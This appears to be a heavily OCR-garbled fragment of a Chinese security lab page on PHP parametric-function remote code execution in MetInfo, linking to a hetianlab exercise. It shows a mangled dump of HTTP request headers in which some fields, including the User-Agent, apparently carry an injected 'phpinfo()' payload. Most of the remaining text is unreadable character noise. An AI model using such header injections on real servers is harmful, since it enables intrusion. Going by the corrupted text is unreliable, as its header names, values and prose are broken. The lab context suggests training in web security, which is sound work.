(HTTP_LECH) => phpinto(l:
# * vy
[HTTF_UFGRADE_INSECURE_FEQUESTS] =» 1
(HTTF_COMMECTION] => close
[HTTF_ACCEPT ENCODING] =» gsip, deilate

$E [HTTF_ACCEFT _LANGUAGE] =»

sh~CN, shiq=0.8, sh-TW; q=0.7, zh-BKiq=0. 5, en-TS: q=0. 3, en;q=0.2
[HTTP_ACCEPT] ==

[ETTF_USER_AGENT] => phpintoiis
™ 1

[FCOI_ROLE] =» RESPONDER

cat jon/¥ml  q=0.9, image, vebp, */ ¥ q=0. 8

T ()
Al @E

al¥

NG

TS HRCEMAEBEFF A T2FETFZ SR, FEACESU LTESY, EETRREFENPHPR A

2%

PHP Parametric Function RCE

KRR



MetInfofE: & S 2B
https://www.hetianlab.com/expc.do?ec=ECIDf5e2-83aa-4a0b-b276-c10e1f953297

Gl i 12 52 5 5 42 MetInfo f i SO 152 B 1R B4 JR R AN R F 596D

A EEWMERTOEESEEMEMIR, HREREBEREMEEMEZE2TAREREN, SEREILLER
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